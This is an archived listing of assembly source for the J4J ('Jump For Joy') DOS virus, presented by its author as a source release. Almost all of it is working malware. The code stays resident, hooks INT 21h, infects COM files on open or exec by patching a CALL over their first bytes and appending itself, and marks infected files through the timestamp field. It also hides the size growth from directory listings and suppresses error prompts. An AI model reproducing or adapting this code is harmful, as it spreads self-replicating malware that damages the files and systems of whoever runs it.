home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / f / fil.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  17.6 KB  |  909 lines

  1. ;J4J - Jump For Joy, released 31 Jan 92, (c) Charlie of Demoralized Youth
  2.  
  3. ;------------------------------------------------------------------------
  4.  
  5. ;This source has been lying around for a veeeeeery long time, and I will
  6.  
  7. ;*NOT* continue to make newer versions of J4J, so that is the reason
  8.  
  9. ;why I release the source.
  10.  
  11. ;
  12.  
  13. ;It's been 'bout a month since my last glance on it, so it's maybe full
  14.  
  15. ;of bugs, but anyways; assemble with A86
  16.  
  17. ;
  18.  
  19. ;Some idea's were taken from Omicron / FLIP B (Just the startup), but
  20.  
  21. ;the rest was done by CHARLIE of DEMORALIZED YOUTH!
  22.  
  23. ;
  24.  
  25. ;Fuck this code up however you like...
  26.  
  27.  
  28.  
  29.         tsr_bytes       equ 1024
  30.  
  31.         tsr_para        equ (4096 / 16)
  32.  
  33.  
  34.  
  35. cpt1            equ $
  36.  
  37.  
  38.  
  39.         mov     ax,1991
  40.  
  41.         mov     bx,ax
  42.  
  43.         mov     cx,ax
  44.  
  45.         add     ax,13881
  46.  
  47.         int     21h
  48.  
  49.         cmp     ax,cx
  50.  
  51.         je      fail
  52.  
  53.  
  54.  
  55.         cmp     sp,-10h
  56.  
  57.         jb      fail
  58.  
  59.  
  60.  
  61.         mov     ax,cs
  62.  
  63.         dec     ax
  64.  
  65.         mov     es,ax
  66.  
  67.         cmp     byte es:[0000h],'Z'
  68.  
  69.         jne     fail
  70.  
  71.  
  72.  
  73.         mov     ax,es:[0003h]
  74.  
  75.         sub     ax,tsr_para
  76.  
  77.         jc      fail
  78.  
  79.  
  80.  
  81.         mov     es:[0003h],ax
  82.  
  83.         sub     word ptr es:[0012h],tsr_para
  84.  
  85.         mov     es,es:[0012h]
  86.  
  87.  
  88.  
  89.         call    $+3
  90.  
  91.  
  92.  
  93. cpt3            equ $
  94.  
  95.  
  96.  
  97.         pop     si
  98.  
  99.         mov     bx,si
  100.  
  101.         sub     si,(cpt3-cpt1)
  102.  
  103.         add     si,(cpt4-cpt1)
  104.  
  105.         push    cs
  106.  
  107.         push    si
  108.  
  109.  
  110.  
  111.         mov     si,bx
  112.  
  113.         sub     si,(cpt3-cpt1)
  114.  
  115.         mov     cx,offset total-100h
  116.  
  117.         mov     di,100h
  118.  
  119.         push    es
  120.  
  121.         rep     movsb
  122.  
  123.         mov     di,17Dh+2
  124.  
  125.         push    di
  126.  
  127.  
  128.  
  129.         retf
  130.  
  131. cpt4            equ $
  132.  
  133.  
  134.  
  135. fail:
  136.  
  137.         mov ax,100h
  138.  
  139.         push ax
  140.  
  141.         xor ax,ax
  142.  
  143.         xor bx,bx
  144.  
  145.         xor cx,cx
  146.  
  147.         xor dx,dx
  148.  
  149.         xor si,si
  150.  
  151.         xor di,di
  152.  
  153.         xor bp,bp
  154.  
  155.         push cs
  156.  
  157.         push cs
  158.  
  159.         pop es
  160.  
  161.         pop ds
  162.  
  163.         mov word [100h],20CDh
  164.  
  165. rpl1            equ $-2
  166.  
  167.         mov byte [102h],90h
  168.  
  169. rpl2            equ $-1
  170.  
  171.         ret
  172.  
  173.  
  174.  
  175. cpt2            equ $
  176.  
  177.  
  178.  
  179.  
  180.  
  181. jmp init
  182.  
  183.  
  184.  
  185.  
  186.  
  187. fcb_open        dw offset fcb_open_cont
  188.  
  189. exec            dw offset back
  190.  
  191. open_handle     dw offset back
  192.  
  193.  
  194.  
  195. new_int_21:
  196.  
  197. pushf
  198.  
  199.  
  200.  
  201. cmp ah,0Fh      ;open file using FCB's
  202.  
  203. jne not_open_fcb
  204.  
  205.  
  206.  
  207. call    fcb_to_asciiz
  208.  
  209. push dx
  210.  
  211. push ds
  212.  
  213.  
  214.  
  215. push cs
  216.  
  217. pop ds
  218.  
  219. mov dx,offset file
  220.  
  221.  
  222.  
  223. push cs:[fcb_open]
  224.  
  225. jmp file_main
  226.  
  227.  
  228.  
  229. fcb_open_cont:
  230.  
  231. pop ds
  232.  
  233. pop dx
  234.  
  235. jmp back
  236.  
  237.  
  238.  
  239. not_open_fcb:
  240.  
  241. ;cmp ah,4Eh
  242.  
  243. ;je handle_dir
  244.  
  245. ;cmp ah,4Fh
  246.  
  247. ;je handle_dir
  248.  
  249.  
  250.  
  251. cmp ah,11h
  252.  
  253. je fcb_dir
  254.  
  255. cmp ah,12h
  256.  
  257. je fcb_dir
  258.  
  259.  
  260.  
  261. cmp ah,3Eh
  262.  
  263. jne clodd
  264.  
  265. cmp bx,1991
  266.  
  267. jne clodd
  268.  
  269. xchg ax,bx
  270.  
  271. popf
  272.  
  273. iret
  274.  
  275.  
  276.  
  277. clodd:
  278.  
  279. cmp ah,3Dh
  280.  
  281. jne last_chance
  282.  
  283. push cs:[open_handle]
  284.  
  285. jmp file_main
  286.  
  287.  
  288.  
  289. last_chance:
  290.  
  291. cmp ax,4B00h
  292.  
  293. jne back
  294.  
  295.  
  296.  
  297. push cs:[exec]
  298.  
  299. jmp    file_main
  300.  
  301.  
  302.  
  303. back:
  304.  
  305. popf
  306.  
  307. db 0EAh
  308.  
  309. old_int_21      dw 0,0
  310.  
  311.  
  312.  
  313. handle_dir:
  314.  
  315. popf
  316.  
  317. call    int21
  318.  
  319.  
  320.  
  321. pushf
  322.  
  323. jnc back_handle_dir
  324.  
  325.  
  326.  
  327. cmp ax,0
  328.  
  329. jne back_handle_dir
  330.  
  331.  
  332.  
  333. call    stealth_dir_handle
  334.  
  335. sti
  336.  
  337.  
  338.  
  339. back_handle_dir:
  340.  
  341. popf
  342.  
  343. iret
  344.  
  345.  
  346.  
  347. fcb_dir:
  348.  
  349. popf
  350.  
  351. call    int21
  352.  
  353.  
  354.  
  355. pushf
  356.  
  357. cmp al,00h
  358.  
  359. jne back_fcb_dir
  360.  
  361.  
  362.  
  363. call    stealth_dir_fcb
  364.  
  365. sti
  366.  
  367.  
  368.  
  369. back_fcb_dir:
  370.  
  371. popf
  372.  
  373. iret
  374.  
  375.  
  376.  
  377. fcb_fname       equ 80h+1
  378.  
  379. fcb_fext        equ 80h+1+8
  380.  
  381.  
  382.  
  383. f_attr          equ 80h+15h
  384.  
  385. f_time          equ 80h+16h
  386.  
  387. f_date          equ 80h+18h
  388.  
  389. f_size          equ 80h+1Ah
  390.  
  391. f_asciiz        equ 80h+1Eh
  392.  
  393.  
  394.  
  395. f_handle        equ 80h
  396.  
  397. f_head_buffer   equ 80h+2
  398.  
  399. f_tail_buffer   equ 80h-3
  400.  
  401. f_type          equ 80h+6
  402.  
  403.  
  404.  
  405.  
  406.  
  407. repl0:  db 0E8h,?,?             ;call ????
  408.  
  409.  
  410.  
  411. ;repl1:  db 0C7h,6,0,1,?,?       ;mov word [0100h],????
  412.  
  413. ;        db 0C6h,6,2,1,?         ;mov byte [0102h],??
  414.  
  415.  
  416.  
  417. repl2:  push    bp
  418.  
  419.         mov     bp,sp
  420.  
  421.         sub     word [bp+2],3
  422.  
  423.         pop     bp
  424.  
  425.  
  426.  
  427. repl3:
  428.  
  429.  
  430.  
  431.  
  432.  
  433. db 'Eloï, Eloï, lamá sabaktáni?'
  434.  
  435.  
  436.  
  437. file_main:
  438.  
  439. pushf
  440.  
  441. ;call other_file_type_check
  442.  
  443. ;jnc file_main_pr1
  444.  
  445. jmp file_main_pr1
  446.  
  447.  
  448.  
  449. popf
  450.  
  451. jmp back
  452.  
  453.  
  454.  
  455. file_main_pr1:
  456.  
  457. push ax
  458.  
  459. push bx
  460.  
  461. push cx
  462.  
  463. push dx
  464.  
  465. push si
  466.  
  467. push di
  468.  
  469. push bp
  470.  
  471. push es
  472.  
  473. push ds
  474.  
  475.  
  476.  
  477. push cs
  478.  
  479. pop es
  480.  
  481.  
  482.  
  483. mov si,dx
  484.  
  485. mov di,offset file
  486.  
  487. cld
  488.  
  489. mov cx,65
  490.  
  491. rep movsb
  492.  
  493.  
  494.  
  495. push cs
  496.  
  497. pop ds
  498.  
  499.  
  500.  
  501. call    setup_24
  502.  
  503.  
  504.  
  505. ;call cpu_check
  506.  
  507. ;cmp ax,1
  508.  
  509. ;je file_slutt
  510.  
  511.  
  512.  
  513. call file_info_get
  514.  
  515. jc file_is_done
  516.  
  517.  
  518.  
  519. call    mekke_fil
  520.  
  521.  
  522.  
  523. file_is_done:
  524.  
  525. call file_info_set
  526.  
  527.  
  528.  
  529. file_slutt:
  530.  
  531.  
  532.  
  533. call    rest_24
  534.  
  535.  
  536.  
  537. pop ds
  538.  
  539. pop es
  540.  
  541. pop bp
  542.  
  543. pop di
  544.  
  545. pop si
  546.  
  547. pop dx
  548.  
  549. pop cx
  550.  
  551. pop bx
  552.  
  553. pop ax
  554.  
  555. popf
  556.  
  557. ret ;jmp back
  558.  
  559.  
  560.  
  561. file    db 65 dup(0)
  562.  
  563.  
  564.  
  565. old_dta         dw ?,?
  566.  
  567.  
  568.  
  569. file_info_get:
  570.  
  571.         mov     ah,2Fh                          ;get DTA address
  572.  
  573.         call    int21
  574.  
  575.         mov     old_dta[2],es
  576.  
  577.         mov     old_dta[0],bx
  578.  
  579.         mov     ah,1Ah                          ;set DTA address
  580.  
  581.         push    cs
  582.  
  583.         pop     ds
  584.  
  585.         mov     dx,80h
  586.  
  587.         call    int21
  588.  
  589.  
  590.  
  591.         mov     ah,4Eh                          ;FIND FIRST (get info about
  592.  
  593.         mov     cx,1+2+32                       ;our file)
  594.  
  595.         mov     dx,offset file
  596.  
  597.         call    int21
  598.  
  599.         jnc     file_info_get_ok
  600.  
  601.         stc
  602.  
  603.         ret
  604.  
  605.  
  606.  
  607.         stc
  608.  
  609.         ret
  610.  
  611. file_info_get_ok:
  612.  
  613.         clc
  614.  
  615.  
  616.  
  617.         test    word [f_attr],4                 ;is the System attr. set?
  618.  
  619.         jnz     offset file_info_get_ok-2       ;yeah, so don't do it..
  620.  
  621.  
  622.  
  623.         cmp     word [fcb_fname],'OC'           ;like in: COmmand.com
  624.  
  625.         je      offset file_info_get_ok-2       ;the command-interpreter
  626.  
  627.  
  628.  
  629.         cmp     word [fcb_fname],'BI'           ;like in: IBmbio.com and IBmdos.com
  630.  
  631.         je      offset file_info_get_ok-2       ;the startup files for IBM-dos
  632.  
  633.  
  634.  
  635.         cmp     word [fcb_fext],'YS'            ;like in: country.SYs
  636.  
  637.         je      offset file_info_get_ok-2       ;device drivers and .SYS files
  638.  
  639.  
  640.  
  641.         mov     ax,4301h                        ;set attribute
  642.  
  643.         xor     cx,cx                           ;attr=0
  644.  
  645.         mov     dx,offset file
  646.  
  647.         call    int21
  648.  
  649.  
  650.  
  651.         mov     ax,3D02h                        ;open file
  652.  
  653.         mov     dx,offset file
  654.  
  655.         call    int21
  656.  
  657.         jnc     fig_open
  658.  
  659. fig_fail:
  660.  
  661.                 stc
  662.  
  663.                 ret
  664.  
  665. fig_open:
  666.  
  667.         mov     [f_handle],ax
  668.  
  669.  
  670.  
  671.         mov     bx,ax
  672.  
  673.         mov     ah,3Fh                          ;read from file
  674.  
  675.         mov     cx,3                            ;3 bytes
  676.  
  677.         mov     dx,f_head_buffer
  678.  
  679.         call    int21
  680.  
  681.         jnc     fig_read
  682.  
  683.         jmp     fig_fail
  684.  
  685.  
  686.  
  687. fig_read:
  688.  
  689.         cmp     ax,3
  690.  
  691.         jne     fig_fail
  692.  
  693.  
  694.  
  695.         mov     ax,4200h
  696.  
  697.         xor     cx,cx
  698.  
  699.         mov     dx,[f_size]
  700.  
  701.         sub     dx,3
  702.  
  703.         mov     bx,[f_handle]
  704.  
  705.         call    int21
  706.  
  707.  
  708.  
  709.         mov     ah,3Fh
  710.  
  711.         mov     cx,3
  712.  
  713.         mov     dx,f_tail_buffer
  714.  
  715.         call    int21
  716.  
  717.  
  718.  
  719.         cmp     word [f_size+2],0
  720.  
  721.  
  722.  
  723.         jnz     fig_fail
  724.  
  725.         cmp     [f_size],60000
  726.  
  727.         ja      fig_fail
  728.  
  729.  
  730.  
  731.         cmp     word [f_head_buffer],'MZ'               ;EXE 'ZM' ?
  732.  
  733.         je      file_is_exe
  734.  
  735.         cmp     word [f_head_buffer],'ZM'               ;EXE 'MZ' ?
  736.  
  737.         je      file_is_exe
  738.  
  739.         cmp     word [f_head_buffer],-1                 ;Device Driver ?
  740.  
  741.         je      fig_fail
  742.  
  743.  
  744.  
  745.         mov     byte [f_type],0                         ;filetype = COM
  746.  
  747.         clc
  748.  
  749.         ret
  750.  
  751. file_is_exe:
  752.  
  753.         mov     byte [f_type],1                         ;filetype = EXE
  754.  
  755.         clc
  756.  
  757.         ret
  758.  
  759.  
  760.  
  761. file_info_set:
  762.  
  763.         mov     ah,1Ah                                  ;set DTA address
  764.  
  765.         mov     dx,old_dta[0]
  766.  
  767.         mov     bx,old_dta[2]
  768.  
  769.         mov     ds,bx
  770.  
  771.         call    int21
  772.  
  773.  
  774.  
  775.         push    cs
  776.  
  777.         pop     ds
  778.  
  779.  
  780.  
  781.         mov     ax,4301h                                ;restore ATTRibutes
  782.  
  783.         mov     cx,[f_attr]
  784.  
  785.         mov     dx,offset file
  786.  
  787.         call    int21
  788.  
  789.  
  790.  
  791.         mov     ax,5701h                                ;restore DATE & TIME
  792.  
  793.         mov     bx,[f_handle]
  794.  
  795.         mov     cx,[f_time]
  796.  
  797.         and     cl,255-31
  798.  
  799.         or      cl,30
  800.  
  801.         mov     dx,[f_date]
  802.  
  803.         call    int21
  804.  
  805.  
  806.  
  807.         mov     ah,3Eh                                  ;close file
  808.  
  809.         mov     bx,[f_handle]
  810.  
  811.         call    int21
  812.  
  813.         ret
  814.  
  815.  
  816.  
  817. db '¿¡¿--?!?'
  818.  
  819.  
  820.  
  821. mekke_fil:
  822.  
  823.         cmp [f_size],1023
  824.  
  825.         ja not_one_n0
  826.  
  827.         stc
  828.  
  829.         ret
  830.  
  831.  
  832.  
  833. not_one_n0:
  834.  
  835.         cmp byte ptr [f_type],0
  836.  
  837.         je not_one_n1
  838.  
  839.         stc
  840.  
  841.         ret
  842.  
  843.  
  844.  
  845. not_one_n1:
  846.  
  847.         cmp word ptr [f_tail_buffer],'4J'
  848.  
  849.         jne not_one
  850.  
  851.         stc
  852.  
  853.         ret
  854.  
  855.  
  856.  
  857. not_one:
  858.  
  859.         mov     ax,[f_size]                             ;calculate CALL
  860.  
  861.         sub     ax,3                                    ;length
  862.  
  863.         mov     repl0[1],ax
  864.  
  865.  
  866.  
  867.         mov     ax,word [f_head_buffer]
  868.  
  869.         mov     bl,byte [f_head_buffer]+2
  870.  
  871.  
  872.  
  873.         mov     [offset rpl1],ax
  874.  
  875.         mov     [offset rpl2],bl
  876.  
  877. ;        mov     word ptr repl1[4],ax                    ;restore orig bytes
  878.  
  879. ;        mov     repl1[10],bl                            ;after CALL...
  880.  
  881.  
  882.  
  883.         mov ax,4200h                                    ;seek to file_start
  884.  
  885.         mov bx,[f_handle]
  886.  
  887.         xor cx,cx
  888.  
  889.         mov dx,cx
  890.  
  891.         call int21
  892.  
  893.  
  894.  
  895.         mov ah,40h                                      ;write CALL XXXX
  896.  
  897.         mov bx,[f_handle]
  898.  
  899.         mov cx,3                                        ;3 bytes
  900.  
  901.         mov dx,offset repl0
  902.  
  903.         call int21
  904.  
  905.  
  906.  
  907.         mov ax,4202h                                    ;seek to EOF
  908.  
  909.         mov bx,[f_handle]
  910.  
  911.         xor cx,cx
  912.  
  913.         mov dx,cx
  914.  
  915.         call int21
  916.  
  917.  
  918.  
  919. ;        mov ah,40h                                      ;write startup-code
  920.  
  921. ;        mov bx,[f_handle]
  922.  
  923. ;        mov cx,(offset repl3)-offset repl1
  924.  
  925. ;              ;???? bytes
  926.  
  927. ;        mov dx,offset repl1
  928.  
  929. ;        call int21
  930.  
  931. ;        jc replace_them_now
  932.  
  933.  
  934.  
  935.         mov ah,40h                                      ;write main code
  936.  
  937.         mov bx,[f_handle]
  938.  
  939.         mov cx,offset total-100h
  940.  
  941.         mov dx,100h
  942.  
  943.         call int21
  944.  
  945.         jc $+2+1+1
  946.  
  947.         clc
  948.  
  949.         ret
  950.  
  951.  
  952.  
  953. replace_them_now:
  954.  
  955.         mov ax,4200h                                    ;seek to beginning
  956.  
  957.         mov bx,[f_handle]                               ;of the file
  958.  
  959.         xor cx,cx
  960.  
  961.         mov dx,cx
  962.  
  963.         call int21
  964.  
  965.  
  966.  
  967.         mov ah,40h                                      ;error, so write
  968.  
  969.         mov bx,[f_handle]                               ;back 3 first bytes
  970.  
  971.         mov cx,3
  972.  
  973.         mov dx,f_head_buffer
  974.  
  975.         call int21
  976.  
  977.         stc
  978.  
  979.         ret
  980.  
  981.  
  982.  
  983.  
  984.  
  985. db 'Charlie says:  Support ()DEMORALIZED YOUTH() '
  986.  
  987.  
  988.  
  989. ;;*************************************************************
  990.  
  991. ;;* CPU checker, coded by Data Disruptor / RABiD Nat'nl Corp. *
  992.  
  993. ;;*************************************************************
  994.  
  995. ;cpu_check:
  996.  
  997. ;        xor     ax,ax
  998.  
  999. ;        push    ax
  1000.  
  1001. ;        popf
  1002.  
  1003. ;        pushf
  1004.  
  1005. ;        pop     ax
  1006.  
  1007. ;        and     ax,0f000h
  1008.  
  1009. ;        cmp     ax,0f000h
  1010.  
  1011. ;        je      mc_8086
  1012.  
  1013. ;        mov     ax,0f000h
  1014.  
  1015. ;        push    ax
  1016.  
  1017. ;        popf
  1018.  
  1019. ;        pushf
  1020.  
  1021. ;        pop     ax
  1022.  
  1023. ;        and     ax,0f000h
  1024.  
  1025. ;        jz      mc_80286
  1026.  
  1027. ;        mov     ax,3
  1028.  
  1029. ;        ret
  1030.  
  1031. ;mc_80286:
  1032.  
  1033. ;        mov     ax,2
  1034.  
  1035. ;        ret
  1036.  
  1037. ;mc_8086:
  1038.  
  1039. ;        mov     ax,1
  1040.  
  1041. ;        ret
  1042.  
  1043.  
  1044.  
  1045.  
  1046.  
  1047. ;***************************************
  1048.  
  1049. ;
  1050.  
  1051. ; Call previously saved Int 21h Handler
  1052.  
  1053. ;
  1054.  
  1055. ;***************************************
  1056.  
  1057. int21:
  1058.  
  1059.         pushf
  1060.  
  1061.         call    dword ptr cs:old_int_21
  1062.  
  1063.         ret
  1064.  
  1065.  
  1066.  
  1067. ;**********************************************
  1068.  
  1069. ;
  1070.  
  1071. ; Int 24h (Critical Error Handler) Code & Data
  1072.  
  1073. ;
  1074.  
  1075. ;**********************************************
  1076.  
  1077.         err     dw 0
  1078.  
  1079.  
  1080.  
  1081.         old_24  dw ?,?
  1082.  
  1083.         new_24: inc cs:err
  1084.  
  1085.                 mov al,0
  1086.  
  1087.                 stc
  1088.  
  1089.                 iret
  1090.  
  1091.  
  1092.  
  1093. ;****************************************************************
  1094.  
  1095. ;
  1096.  
  1097. ; Fix so that Int 24h (Critical Error Handler) won't display the
  1098.  
  1099. ; "abort, retry, fail?" message
  1100.  
  1101. ;
  1102.  
  1103. ;****************************************************************
  1104.  
  1105. setup_24:
  1106.  
  1107.         xor     ax,ax
  1108.  
  1109.         mov     ds,ax
  1110.  
  1111.  
  1112.  
  1113.         les     bx,[24h*4]
  1114.  
  1115.  
  1116.  
  1117.         push    cs
  1118.  
  1119.         pop     ds
  1120.  
  1121.  
  1122.  
  1123.         mov     word ptr old_24[0],bx
  1124.  
  1125.         mov     word ptr old_24[2],es
  1126.  
  1127.  
  1128.  
  1129.         mov     ds,ax
  1130.  
  1131.         mov     word ptr [24h*4],offset new_24
  1132.  
  1133.         mov     word ptr [24h*4+2],cs
  1134.  
  1135.  
  1136.  
  1137.         push    cs
  1138.  
  1139.         push    cs
  1140.  
  1141.         pop     es
  1142.  
  1143.         pop     ds
  1144.  
  1145.         ret
  1146.  
  1147.  
  1148.  
  1149. ;**********************************************************
  1150.  
  1151. ;
  1152.  
  1153. ; Restore original Int 24h (Critical Error Handler) vector
  1154.  
  1155. ;
  1156.  
  1157. ;**********************************************************
  1158.  
  1159. rest_24:
  1160.  
  1161.         les     bx,cs:old_24
  1162.  
  1163.  
  1164.  
  1165.         xor     ax,ax
  1166.  
  1167.         mov     ds,ax
  1168.  
  1169.  
  1170.  
  1171.         mov     word ptr [24h*4],bx
  1172.  
  1173.         mov     word ptr [24h*4+2],es
  1174.  
  1175.  
  1176.  
  1177.         push    cs
  1178.  
  1179.         pop     ds
  1180.  
  1181.         ret
  1182.  
  1183.  
  1184.  
  1185.  
  1186.  
  1187. ;*********************************************************
  1188.  
  1189. ;
  1190.  
  1191. ; Check if the filename has got an extension of .COM or
  1192.  
  1193. ; .EXE. Returns with CY if not a valid filetype, or NC if
  1194.  
  1195. ; it is a valid one.
  1196.  
  1197. ;
  1198.  
  1199. ;*********************************************************
  1200.  
  1201. other_fail:
  1202.  
  1203.         pop bp
  1204.  
  1205.         pop ds
  1206.  
  1207.         pop es
  1208.  
  1209.         pop di
  1210.  
  1211.         pop si
  1212.  
  1213.         pop dx
  1214.  
  1215.         pop cx
  1216.  
  1217.         pop bx
  1218.  
  1219.         pop ax
  1220.  
  1221.         popf
  1222.  
  1223.         stc     ;return with CY
  1224.  
  1225.         ret
  1226.  
  1227.  
  1228.  
  1229. other_file_type_check:          ;here the main routine starts
  1230.  
  1231.         pushf
  1232.  
  1233.         push ax
  1234.  
  1235.         push bx
  1236.  
  1237.         push cx
  1238.  
  1239.         push dx
  1240.  
  1241.         push si
  1242.  
  1243.         push di
  1244.  
  1245.         push es
  1246.  
  1247.         push ds
  1248.  
  1249.         push bp
  1250.  
  1251.  
  1252.  
  1253.         mov     di,dx
  1254.  
  1255.         push    ds
  1256.  
  1257.         pop     es
  1258.  
  1259.  
  1260.  
  1261.         cld
  1262.  
  1263.         mov     cx,127
  1264.  
  1265.         xor     al,al
  1266.  
  1267.         repnz   scasb
  1268.  
  1269.         jne     other_fail
  1270.  
  1271.         dec     di
  1272.  
  1273.         dec     di
  1274.  
  1275.         dec     di
  1276.  
  1277.         dec     di
  1278.  
  1279.         dec     di
  1280.  
  1281.  
  1282.  
  1283.         xchg    si,di
  1284.  
  1285.         lodsb
  1286.  
  1287.         cmp     al,'.'
  1288.  
  1289.         jne     other_fail
  1290.  
  1291.  
  1292.  
  1293.         lodsw
  1294.  
  1295.         and     ax,0DFDFh
  1296.  
  1297.         cmp     ax,'OC'
  1298.  
  1299.         je      other_okfil
  1300.  
  1301.         cmp     ax,'XE'
  1302.  
  1303.         je      other_okfil
  1304.  
  1305.         jmp     other_fail
  1306.  
  1307.  
  1308.  
  1309. other_okfil:
  1310.  
  1311.         lodsb
  1312.  
  1313.         and     al,0DFh
  1314.  
  1315.         cmp     al,'M'
  1316.  
  1317.         je      other_okfil2
  1318.  
  1319.         cmp     al,'E'
  1320.  
  1321.         jne     other_fail
  1322.  
  1323.  
  1324.  
  1325. other_okfil2:
  1326.  
  1327.         pop bp
  1328.  
  1329.         pop ds
  1330.  
  1331.         pop es
  1332.  
  1333.         pop di
  1334.  
  1335.         pop si
  1336.  
  1337.         pop dx
  1338.  
  1339.         pop cx
  1340.  
  1341.         pop bx
  1342.  
  1343.         pop ax
  1344.  
  1345.         popf
  1346.  
  1347.         clc     ;return with NC
  1348.  
  1349.         ret
  1350.  
  1351.  
  1352.  
  1353.  
  1354.  
  1355. stealth_dir_handle:
  1356.  
  1357.         jc done_stealthing_handle
  1358.  
  1359.  
  1360.  
  1361.         pushf
  1362.  
  1363.         push ax
  1364.  
  1365.         push bx
  1366.  
  1367.         push cx
  1368.  
  1369.         push dx
  1370.  
  1371.         push si
  1372.  
  1373.         push di
  1374.  
  1375.         push ds
  1376.  
  1377.         push es
  1378.  
  1379.         push bp
  1380.  
  1381.  
  1382.  
  1383.         mov ah,2Fh
  1384.  
  1385.         call int21
  1386.  
  1387.  
  1388.  
  1389.         mov ax,word ptr es:[bx+16h]
  1390.  
  1391.         mov ah,1Eh
  1392.  
  1393.         and al,1Fh
  1394.  
  1395.         cmp al,ah
  1396.  
  1397.         jne done_stealthing_handle
  1398.  
  1399.  
  1400.  
  1401.         cmp word es:[bx+1Ah+2],0
  1402.  
  1403.         jne done_stealthing_handle
  1404.  
  1405.         mov ax,word es:[bx+1Ah]
  1406.  
  1407.         sub ax,(offset total)-100h
  1408.  
  1409.         jc done_stealthing_handle
  1410.  
  1411.         mov word es:[bx+1Ah],ax
  1412.  
  1413.  
  1414.  
  1415. done_stealthing_handle:
  1416.  
  1417.         pop bp
  1418.  
  1419.         pop es
  1420.  
  1421.         pop ds
  1422.  
  1423.         pop di
  1424.  
  1425.         pop si
  1426.  
  1427.         pop dx
  1428.  
  1429.         pop cx
  1430.  
  1431.         pop bx
  1432.  
  1433.         pop ax
  1434.  
  1435.         popf
  1436.  
  1437.         ret
  1438.  
  1439.  
  1440.  
  1441. stealth_dir_fcb:
  1442.  
  1443.         pushf
  1444.  
  1445.         push ax
  1446.  
  1447.         push bx
  1448.  
  1449.         push cx
  1450.  
  1451.         push dx
  1452.  
  1453.         push si
  1454.  
  1455.         push di
  1456.  
  1457.         push ds
  1458.  
  1459.         push es
  1460.  
  1461.         push bp
  1462.  
  1463.  
  1464.  
  1465.         mov ah,2Fh
  1466.  
  1467.         call int21
  1468.  
  1469.  
  1470.  
  1471. ;        mov es,ds
  1472.  
  1473. ;        mov bx,dx
  1474.  
  1475.  
  1476.  
  1477.         mov ax,word ptr es:[bx+14+10h]                  ;16h]
  1478.  
  1479.         mov ah,30 ;1Eh
  1480.  
  1481.         and al,31 ;1Fh
  1482.  
  1483.         cmp al,ah
  1484.  
  1485.         jne done_stealthing_fcb
  1486.  
  1487.  
  1488.  
  1489.         cmp word es:[bx+22+10h],0                       ;+10h+2],0
  1490.  
  1491.         jne done_stealthing_fcb
  1492.  
  1493.  
  1494.  
  1495.         mov ax,word es:[bx+20+10h]                      ;+10h]
  1496.  
  1497.         sub ax,(offset total)-100h
  1498.  
  1499.         jc done_stealthing_fcb
  1500.  
  1501.         mov word es:[bx+20+10h],ax
  1502.  
  1503.  
  1504.  
  1505. done_stealthing_fcb:
  1506.  
  1507.         pop bp
  1508.  
  1509.         pop es
  1510.  
  1511.         pop ds
  1512.  
  1513.         pop di
  1514.  
  1515.         pop si
  1516.  
  1517.         pop dx
  1518.  
  1519.         pop cx
  1520.  
  1521.         pop bx
  1522.  
  1523.         pop ax
  1524.  
  1525.         popf
  1526.  
  1527.         ret
  1528.  
  1529.  
  1530.  
  1531.  
  1532.  
  1533.  
  1534.  
  1535.  
  1536.  
  1537. init:
  1538.  
  1539. cli
  1540.  
  1541. push cs
  1542.  
  1543. push cs
  1544.  
  1545. pop ds
  1546.  
  1547. pop es
  1548.  
  1549.  
  1550.  
  1551. mov ax,3521h
  1552.  
  1553. int 21h
  1554.  
  1555. mov word ptr old_int_21[0],bx
  1556.  
  1557. mov word ptr old_int_21[2],es
  1558.  
  1559. mov dx,offset new_int_21
  1560.  
  1561. mov ax,2521h
  1562.  
  1563. int 21h
  1564.  
  1565. sti
  1566.  
  1567.  
  1568.  
  1569. retf
  1570.  
  1571. fcb_to_asciiz:
  1572.  
  1573. pushf
  1574.  
  1575. push ax
  1576.  
  1577. push cx
  1578.  
  1579. push si
  1580.  
  1581. push di
  1582.  
  1583. push es
  1584.  
  1585.  
  1586.  
  1587. push cs
  1588.  
  1589. pop es
  1590.  
  1591. mov di,offset file
  1592.  
  1593.  
  1594.  
  1595. cld
  1596.  
  1597. mov si,dx ;fcb_start
  1598.  
  1599. lodsb
  1600.  
  1601. cmp al,0
  1602.  
  1603. je fcb_in_current_dir
  1604.  
  1605.  
  1606.  
  1607. add al,'A'
  1608.  
  1609. stosb
  1610.  
  1611. mov al,':'
  1612.  
  1613. stosb
  1614.  
  1615. jmp anyway
  1616.  
  1617.  
  1618.  
  1619. fcb_in_current_dir:
  1620.  
  1621. inc si
  1622.  
  1623.  
  1624.  
  1625. anyway:
  1626.  
  1627. mov si,dx
  1628.  
  1629. inc si
  1630.  
  1631. mov cx,8
  1632.  
  1633. fcb_file_name_xfer:
  1634.  
  1635. lodsb
  1636.  
  1637. cmp al,' '
  1638.  
  1639. je fcb_done_1
  1640.  
  1641. stosb
  1642.  
  1643. loop fcb_file_name_xfer
  1644.  
  1645.  
  1646.  
  1647. fcb_done_1:
  1648.  
  1649. mov al,'.'
  1650.  
  1651. stosb
  1652.  
  1653.  
  1654.  
  1655. mov si,dx       ;fcb_start
  1656.  
  1657. add si,1+8
  1658.  
  1659. mov cx,3
  1660.  
  1661. fcb_file_ext_xfer:
  1662.  
  1663. lodsb
  1664.  
  1665. cmp al,' '
  1666.  
  1667. je fcb_done_2
  1668.  
  1669. stosb
  1670.  
  1671. loop fcb_file_ext_xfer
  1672.  
  1673.  
  1674.  
  1675. fcb_done_2:
  1676.  
  1677. mov al,0
  1678.  
  1679. stosb
  1680.  
  1681.  
  1682.  
  1683. pop es
  1684.  
  1685. pop di
  1686.  
  1687. pop si
  1688.  
  1689. pop cx
  1690.  
  1691. pop ax
  1692.  
  1693. popf
  1694.  
  1695. ret
  1696.  
  1697.  
  1698.  
  1699.  
  1700.  
  1701. size    dw (offset total)-100h
  1702.  
  1703. db 'J4J'
  1704.  
  1705.  
  1706.  
  1707. total:
  1708.  
  1709.  
  1710.  
  1711.  
  1712.  
  1713.  
  1714.  
  1715.  
  1716.  
  1717.  
  1718.  
  1719.  
  1720.  
  1721.  
  1722.  
  1723.  
  1724.  
  1725.  
  1726.  
  1727.  
  1728.  
  1729.  
  1730.  
  1731.  
  1732.  
  1733.  
  1734.  
  1735.  
  1736.  
  1737.  
  1738.  
  1739.  
  1740.  
  1741.  
  1742.  
  1743.  
  1744.  
  1745.  
  1746.  
  1747.  
  1748.  
  1749.  
  1750.  
  1751.  
  1752.  
  1753.  
  1754.  
